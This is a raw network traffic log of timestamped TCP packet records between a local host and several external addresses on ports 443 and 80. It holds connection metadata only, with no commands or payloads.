Oct 29, 2024 20:35:18.187197924 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:18.187230110 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:18.187447071 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:18.187657118 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:18.187669039 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:18.188327074 CET	443	49869	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:18.188817978 CET	49884	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:18.188895941 CET	49885	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:18.188978910 CET	49871	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:18.189023018 CET	49872	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:18.189161062 CET	443	49871	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:18.189233065 CET	49871	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:18.189265013 CET	443	49872	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:18.189320087 CET	49872	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:18.190215111 CET	49846	443	192.168.2.5	18.244.18.38
Oct 29, 2024 20:35:18.190277100 CET	443	49846	18.244.18.38	192.168.2.5
Oct 29, 2024 20:35:18.190337896 CET	49846	443	192.168.2.5	18.244.18.38
Oct 29, 2024 20:35:18.190901995 CET	49887	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:18.190924883 CET	443	49887	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:18.191109896 CET	49888	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:18.191138029 CET	443	49888	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:18.191159964 CET	49887	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:18.191195011 CET	49888	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:18.192260027 CET	49887	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:18.192271948 CET	443	49887	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:18.192393064 CET	49888	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:18.192404985 CET	443	49888	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:18.215861082 CET	443	49874	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:18.215976000 CET	49874	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:18.221507072 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:18.227020025 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:18.235332966 CET	443	49884	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:18.235362053 CET	443	49885	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:18.273477077 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.274418116 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.274441957 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.275042057 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.275048971 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.299455881 CET	443	49869	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:18.299562931 CET	49869	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:18.300407887 CET	49869	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:18.300424099 CET	443	49869	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:18.388120890 CET	443	49876	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.388673067 CET	49876	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.388757944 CET	443	49876	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.389421940 CET	49876	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.389441967 CET	443	49876	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.392687082 CET	443	49878	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.393258095 CET	49878	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.393294096 CET	443	49878	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.393798113 CET	49878	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.393814087 CET	443	49878	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.394157887 CET	443	49877	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.394539118 CET	49877	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.394579887 CET	443	49877	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.395144939 CET	49877	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.395152092 CET	443	49877	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.407449961 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.407566071 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.407696009 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.407999992 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.408015966 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.408030033 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.408035994 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.419074059 CET	49892	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.419148922 CET	443	49892	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.419234037 CET	49892	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.441539049 CET	49892	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.441567898 CET	443	49892	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.458803892 CET	443	49875	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.465042114 CET	49875	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.465075970 CET	443	49875	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.466438055 CET	49875	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.466450930 CET	443	49875	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.525122881 CET	443	49878	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.525150061 CET	443	49878	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.525202036 CET	443	49878	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.525204897 CET	49878	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.525254011 CET	443	49877	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.525285006 CET	49878	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.525407076 CET	443	49877	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.525526047 CET	49877	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.526281118 CET	443	49876	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.526307106 CET	443	49876	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.526346922 CET	49876	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.526357889 CET	443	49876	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.526371002 CET	443	49876	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.526432991 CET	49878	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.526432991 CET	49876	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.526448965 CET	443	49878	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.526464939 CET	49878	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.526469946 CET	443	49878	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.526534081 CET	49877	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.526551962 CET	443	49877	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.526563883 CET	49877	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.526570082 CET	443	49877	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.529357910 CET	49876	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.529366970 CET	443	49876	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.529376030 CET	49876	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.529378891 CET	443	49876	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.534780979 CET	49893	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.534806967 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.534868956 CET	49893	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.536262035 CET	49894	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.536293030 CET	443	49894	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.536355972 CET	49894	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.538009882 CET	49895	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.538022041 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.538137913 CET	49895	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.542388916 CET	49893	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.542418003 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.542459011 CET	49894	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.542473078 CET	443	49894	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.542529106 CET	49895	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.542540073 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.592593908 CET	443	49875	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.592749119 CET	443	49875	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.592919111 CET	49875	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.592962027 CET	49875	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.592981100 CET	443	49875	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.597146034 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.597187996 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.597282887 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.597573042 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:18.597589016 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:18.760150909 CET	49897	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:18.760196924 CET	443	49897	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:18.760394096 CET	49897	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:18.762427092 CET	49897	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:18.762439966 CET	443	49897	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:18.844793081 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:18.845136881 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:18.845159054 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:18.845554113 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:18.845645905 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:18.846398115 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:18.846565008 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:18.849987030 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:18.849987030 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:18.850002050 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:18.850030899 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:18.850073099 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:18.914361954 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:18.914390087 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:18.958178043 CET	443	49885	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:18.958251953 CET	49885	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:19.005671978 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:19.005846024 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:19.079797029 CET	443	49887	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:19.080473900 CET	49887	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:19.080485106 CET	443	49887	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:19.081967115 CET	443	49887	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:19.082575083 CET	49887	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:19.083717108 CET	49887	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:19.083794117 CET	443	49887	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:19.095220089 CET	443	49888	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:19.098088026 CET	49888	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:19.098117113 CET	443	49888	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:19.099329948 CET	443	49888	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:19.099486113 CET	49888	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:19.102682114 CET	49888	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:19.102812052 CET	443	49888	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:19.104063988 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.132251024 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.132265091 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.132285118 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.132313967 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.132328033 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.132339001 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.132360935 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.132390022 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.132405043 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.132415056 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.132421017 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.132447004 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.134530067 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.134537935 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.134587049 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.134597063 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.134603977 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.134617090 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.134632111 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.134641886 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.134670019 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.134717941 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.152386904 CET	49887	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:19.152406931 CET	443	49887	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:19.152426958 CET	49888	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:19.152463913 CET	443	49888	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:19.176280022 CET	443	49892	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.177720070 CET	49892	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.177747011 CET	443	49892	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.178522110 CET	49892	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.178527117 CET	443	49892	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.199068069 CET	49898	443	192.168.2.5	152.195.19.97
Oct 29, 2024 20:35:19.199126959 CET	443	49898	152.195.19.97	192.168.2.5
Oct 29, 2024 20:35:19.199433088 CET	49898	443	192.168.2.5	152.195.19.97
Oct 29, 2024 20:35:19.199501038 CET	49898	443	192.168.2.5	152.195.19.97
Oct 29, 2024 20:35:19.199507952 CET	443	49898	152.195.19.97	192.168.2.5
Oct 29, 2024 20:35:19.249640942 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.249660969 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.249684095 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.249691010 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.249768019 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.249768019 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.249800920 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.251791954 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.251813889 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.251853943 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.251882076 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.251892090 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.251910925 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.253635883 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.253643990 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.253731966 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.253760099 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.253772974 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.255482912 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.255503893 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.255661964 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.255673885 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.290307999 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.291285992 CET	443	49894	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.299438953 CET	49899	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:19.299493074 CET	443	49899	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:19.299690008 CET	49899	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:19.300287962 CET	49899	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:19.300302029 CET	443	49899	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:19.303783894 CET	49895	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.303808928 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.304451942 CET	49895	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.304457903 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.304482937 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.304481983 CET	49887	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:19.304675102 CET	49888	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:19.306236982 CET	49894	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.306257010 CET	443	49894	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.306782007 CET	49894	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.306787014 CET	443	49894	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.312766075 CET	443	49892	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.312839031 CET	443	49892	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.313047886 CET	49892	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.313519001 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.314454079 CET	49892	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.314454079 CET	49892	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.314512968 CET	443	49892	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.314563990 CET	443	49892	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.314770937 CET	49893	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.314786911 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.315253019 CET	49893	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.315257072 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.319360018 CET	49900	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.319399118 CET	443	49900	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.319472075 CET	49900	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.319694996 CET	49900	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.319705009 CET	443	49900	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.367275000 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.367291927 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.367309093 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.367368937 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.367402077 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.367402077 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.367419004 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.367466927 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.368190050 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.368208885 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.368293047 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.368293047 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.368302107 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.368618011 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.368877888 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.368897915 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.368982077 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.368982077 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.368990898 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.369080067 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.372051001 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.372070074 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.372539043 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.372550011 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.372888088 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.373068094 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.373084068 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.373177052 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.373177052 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.373184919 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.373672009 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.373971939 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.373995066 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.374080896 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.374080896 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.374089003 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.374241114 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.375035048 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.375049114 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.375123024 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.375130892 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.375193119 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.392611980 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.394262075 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.394263029 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.394298077 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.394311905 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.432312965 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.432387114 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.434166908 CET	443	49894	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.434236050 CET	443	49894	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.434267998 CET	49895	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.434324026 CET	49894	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.434792995 CET	49895	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.434808016 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.434839010 CET	49895	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.434844017 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.435072899 CET	443	49897	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.437035084 CET	49897	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.437051058 CET	443	49897	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.437298059 CET	49894	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.437298059 CET	49894	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.437311888 CET	443	49894	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.437320948 CET	443	49894	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.437459946 CET	443	49897	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.437592030 CET	49897	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.438184977 CET	443	49897	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.438321114 CET	49897	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.438692093 CET	49897	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.438692093 CET	49897	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.438704967 CET	443	49897	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.438734055 CET	49897	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.438761950 CET	443	49897	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.440566063 CET	49901	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.440603971 CET	443	49901	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.442192078 CET	49902	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.442240953 CET	443	49902	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.442272902 CET	49901	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.442397118 CET	49902	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.442401886 CET	49901	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.442416906 CET	443	49901	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.442809105 CET	49902	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.442821026 CET	443	49902	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.449826956 CET	443	49893	13.107.246.45	192.168.2.5
